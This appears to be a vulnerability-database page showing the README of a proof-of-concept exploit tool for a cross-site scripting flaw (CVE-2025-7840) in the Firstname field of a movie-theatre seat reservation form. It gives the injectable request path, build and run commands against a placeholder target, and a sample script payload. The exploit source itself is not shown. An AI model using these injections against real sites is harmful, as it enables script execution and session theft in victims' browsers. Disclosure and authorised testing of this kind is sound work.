CVE-2025-7840 PoC — Campcodes Online Movie Theater Seat Reservation System Reserve Your Seat Page index.php cross site scripting

Source

Associated Vulnerability

Description

Proof‑of‑concept exploit for CVE‑2025‑7840 that injects malicious payloads into the Firstname parameter of a reservation form to trigger XSS

Readme

# XSS Exploit for CVE-2025-7840

**Author**: Byte Reaper (@ByteReaper0)

## Description

Proof‑of‑concept exploit for **CVE-2025-7840**, targeting a vulnerable web application endpoint that fails to sanitize user input on the `Firstname` parameter of a reservation form. By crafting a GET request to:

```
/index.php?page=reserve&Firstname=<payload>&Lastname=test
```

an attacker can inject and execute arbitrary JavaScript in the victim’s browser when the response is rendered.

## Features

* Inject custom payloads with `-b` option
* Handle cookie-based sessions via `-c` option
* Verbose logging for request/response analysis (`-v`)
* Built-in set of common XSS payloads

## Requirements

* Linux or macOS
* GCC (or compatible C compiler)
* `libcurl` development headers
* `argparse` library for C

## Installation

1. Compile the exploit:

   ```
   gcc -o exploit exploit.c argparse.c -lcurl 
   ```

## Usage

```
sudo ./exploit -u <TARGET_URL> [options]
```

### Options

| Flag         | Description                                  |
| ------------ | -------------------------------------------- |
| `-u` URL     | Target base URL (e.g. `http://victim.local`) |
| `-b` PAYLOAD | Custom XSS payload to inject                 |
| `-c` FILE    | Cookie jar file to use for session handling  |
| `-v`         | Verbose mode (show request/response details) |

### Examples

* Run default payloads against a target:

  ```
  sudo ./exploit -u http://victim.local
  ```

* Use a custom payload:

  ```
  sudo ./exploit -u http://victim.local -b "<script>alert(\'PWNED\')</script>"
  ```

* Include session cookies and verbose output:

  ```
  sudo ./exploit -u http://victim.local -c cookies.txt -v
  ```

## Disclaimer

This code is provided for educational and testing purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.

## References

* CVE-2025-7840: XSS in reservation form
* Author Telegram: @ByteReaper0
## LICENSE:
MIT 

File Snapshot

 [4.0K]  /data/pocs/484ac3b0c0b75e6351583ecf3c100e458f9a76fd
├── [ 16K]  exploit.c
├── [1.0K]  LICENSE
└── [2.0K]  README.md

0 directories, 3 files

Remarks